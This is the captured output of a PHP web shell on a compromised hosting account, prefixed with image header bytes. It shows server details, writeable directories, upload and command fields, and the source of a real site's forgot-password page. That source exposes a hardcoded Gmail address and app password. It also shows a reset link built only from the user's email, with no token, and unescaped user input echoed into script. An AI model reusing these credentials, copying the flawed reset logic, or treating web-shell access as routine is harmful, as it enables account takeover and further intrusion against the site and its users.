����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 3.149.25.87
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/learn.skilltainment.org/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/learn.skilltainment.org/forgot.php
<?php session_start(); ?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <title>SKILLTAINMENT - Forgot Password</title>
    <meta content="width=device-width, initial-scale=1.0" name="viewport">
    <meta content="" name="keywords">
    <meta content="" name="description">

    <!-- Favicon -->
    <link href="img/favicon.html" rel="icon">

    <!-- Google Web Fonts -->
    <link rel="preconnect" href="https://fonts.googleapis.com/">
    <link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@400;600&amp;family=Roboto:wght@500;700&amp;display=swap" rel="stylesheet">

    <!-- Icon Font Stylesheet -->
    <link href="../../cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css" rel="stylesheet">
    <link href="../../cdn.jsdelivr.net/npm/bootstrap-icons%401.4.1/font/bootstrap-icons.css" rel="stylesheet">

    <!-- Libraries Stylesheet -->
    <link href="lib/owlcarousel/assets/owl.carousel.min.css" rel="stylesheet">
    <link href="lib/tempusdominus/css/tempusdominus-bootstrap-4.min.css" rel="stylesheet" />

    <!-- Sweet Alert -->
    <script src="js/sweetalert.min.js"></script>

    <!-- Customized Bootstrap Stylesheet -->
    <link href="css/bootstrap.min.css" rel="stylesheet">

    <!-- Template Stylesheet -->
    <link href="css/style.css" rel="stylesheet">

    <!-- Icon -->
    <link rel="icon" type="image/png" href="./img/logo.png" sizes="32x32">

    <!-- aos animations -->
    <link rel="stylesheet" href="css/aos.css">

    <!--og codes-->
    <meta property="og:url" content="<?php echo $_SERVER['PHP_SELF']; ?>" />
    <meta property="og:type" content="website" />
    <meta property="og:title" content="<?php echo "SKILLTAINMENT"; ?>" />
    <meta property="og:image" content="https://learn.skilltainment.org/img/og.jpg" />
    <meta property="og:description" content="Forgot Password" />
    <meta property="fb:app_id" content="197362031139140" />
</head>

<body>
    <div class="container-fluid position-relative d-flex p-0">
        <?php
        include 'php/connect.php';

        //Define name spaces
        use PHPMailer\PHPMailer\PHPMailer;
        use PHPMailer\PHPMailer\SMTP;
        use PHPMailer\PHPMailer\Exception;

        //Include required phpMailer files
        require 'PHPMailer/PHPMailer.php';
        require 'PHPMailer/SMTP.php';
        require 'PHPMailer/Exception.php';

        if (isset($_POST['submit'])) {
            $to = mysqli_real_escape_string($conn, htmlentities($_POST['email']));
            $query = "SELECT `email`,`firstname`,`surname` FROM `users` WHERE `email`='$to'";
            if ($query_run = mysqli_query($conn, $query)) {
                if (mysqli_num_rows($query_run) == 0) {
        ?>
                    <script type="text/javascript">
                        document.addEventListener("DOMContentLoaded", function(event) {
                            swal("ERROR", "<?php echo $to; ?> is not registered", "error");
                        })
                    </script>
                    <?php
                } else if (mysqli_num_rows($query_run) > 0) {
                    while ($row = mysqli_fetch_array($query_run)) {
                        $email = $row['email'];
                        $subject = "Password Reset Request Notification";
                        $firstname = $row['firstname'];
                        $surname = $row['surname'];

                        $pm = "
                            <!DOCTYPE html>
                            <html lang=\"en\">
                            <head>
                                <meta charset=\"UTF-8\">
                                <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">
                                <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">
                            </head>
                            <body>
                                <div style=\"background-color:rgba(0,255,0,0.1);padding:1rem;\">
                                    <div style=\"background-color:#fff;border-radius:10px;padding:10px;\">
                                        <div style=\"background-color:#009900;color:#fff;border-radius:15px 15px 0 0;text-align:center;font-size:18px;padding:40px 10px ;font-weight:bold;font-family:arial;\">
                                            <div class=\"text-center bg-dark text-white\">PASSWORD RESET REQUEST</div>
                                        </div>
                                        <h2>Dear $firstname $surname,</h2>
                                        <p>We have received a request to reset the password for your skilltainment account</p>
                                        <p>If you made this request, click the button below. If you didn't make the request, you can ignore this email

                                        <p>Please click the button below to reset your credentials.</p>
                                        <center>
                                            <a style=\"text-decoration:none;color:#fff;text-align:center;padding:13px 15px;border-radius:20px;background-color:#009900;\" href=\"learn.skilltainment.org/reset?email=$email\" target=\"_blank\">Reset Password</a>
                                        </center>
                                        <br><br>
                                        <center>
                                            <div class=\"padding:5px;text-align:center;background-color:#c9c8c8;\">
                                                    Skilltainment &copy; " . date('Y') . "
                                            </div>
                                        </center>
                                    </div>
                                </div>
                            </body>
                            </html>
                            ";

                        //Create instance of phpMailer
                        $mail = new PHPMailer();

                        //Enable verbose debug output
                        // $mail->SMTPDebug = SMTP::DEBUG_SERVER; 

                        //set mailer to use smtp
                        $mail->isSMTP();
                        //define smtp host
                        $mail->Host = "smtp.gmail.com";
                        //enable smtp authentification
                        $mail->SMTPAuth = "true";
                        //set type of encryption (ssl/tls)	
                        //TCP port to connect to, use 465 for `PHPMailer::ENCRYPTION_SMTPS` above
                        $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
                        //set port to connect smtp
                        $mail->Port = "587"; //465 for ssl
                        //set gmail username
                        $mail->Username = "beatonndaba@gmail.com";
                        //set gmail password
                        $mail->Password = "tsxngatucbssjwbm";
                        //Set email format to HTML
                        $mail->isHTML(true);
                        //set email subject
                        $mail->Subject = $subject;
                        //set sender email
                        $mail->setFrom($email, "Skilltainment");
                        //Email body
                        $mail->Body = $pm;
                        //Add recipient
                        $mail->addAddress($to);
                        //Finally send email
                        if ($mail->Send()) {
                        ?>
                            <script type="text/javascript">
                                document.addEventListener("DOMContentLoaded", function(event) {
                                    swal("SUCCESS", "Reset link was sent successfully. Check Your Email", "success");
                                })
                            </script>
                        <?php
                        } else {
                        ?>
                            <script type="text/javascript">
                                document.addEventListener("DOMContentLoaded", function(event) {
                                    swal("ERROR", "<?php echo 'Message could not be sent. Mailer Error: {' . $mail->ErrorInfo . '}'; ?>", "error");
                                })
                            </script>
                        <?php
                        }

                        //Closing  smtp connection
                        $mail->smtpClose();
                    }
                }
            } else {
                die(mysqli_error($conn));
            }
        }
        ?>
        <!-- Sign In Start -->
        <div class="container-fluid">
            <div class="row h-100 align-items-center justify-content-center" style="min-height: 100vh;">
                <div class="col-12 col-sm-8 col-md-6 col-lg-5 col-xl-4">
                    <div class="bg-secondary rounded p-4 p-sm-5 my-4 mx-3" data-aos="zoom-in" data-aos-duration="500">
                        <div class="d-flex align-items-center justify-content-between mb-3" data-aos="flip-up" data-aos-duration="500" data-aos-delay="200">
                            <a href="signin">
                                <img src="./img/logo.png" alt="LOGO" class="logo">
                            </a>
                        </div>
                        <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
                            <div class="form-floating mb-3" data-aos="flip-left" data-aos-duration="500" data-aos-delay="300">
                                <input type="email" class="form-control" name="email" id="floatingInput" placeholder="Email Address" required>
                                <label for="floatingInput">Enter Email address</label>
                            </div>
                            <button type="submit" name="submit" class="btn btn-primary py-3 w-100 mb-4" data-aos="flip-right" data-aos-duration="500" data-aos-delay="400"><i class="fa fa-envelope"></i> Send</button>
                            <div class="d-flex align-items-center justify-content-between mb-4">
                                <a href="signin">Sign in</a>
                            </div>
                        </form>
                    </div>
                </div>
            </div>
        </div>
        <!-- Sign In End -->
    </div>

    <!-- JavaScript Libraries -->
    <script src="js/jquery-3.3.1.min.js"></script>
    <script src="js/bootstrap.bundle.min.js"></script>
    <script src="lib/chart/chart.min.js"></script>
    <script src="lib/easing/easing.min.js"></script>
    <script src="lib/waypoints/waypoints.min.js"></script>
    <script src="lib/owlcarousel/owl.carousel.min.js"></script>
    <script src="lib/tempusdominus/js/moment.min.js"></script>
    <script src="lib/tempusdominus/js/moment-timezone.min.js"></script>
    <script src="lib/tempusdominus/js/tempusdominus-bootstrap-4.min.js"></script>
    <script src="js/all.min.js"></script>
    <script src="js/aos.js"></script>
    <script>
        AOS.init({});
    </script>
    <!-- Template Javascript -->
    <script src="js/main.js"></script>
    <!-- Template Javascript -->
    <script src="js/main.js"></script>
</body>


</html>

Youez - 2016 - github.com/yon3zu
LinuXploit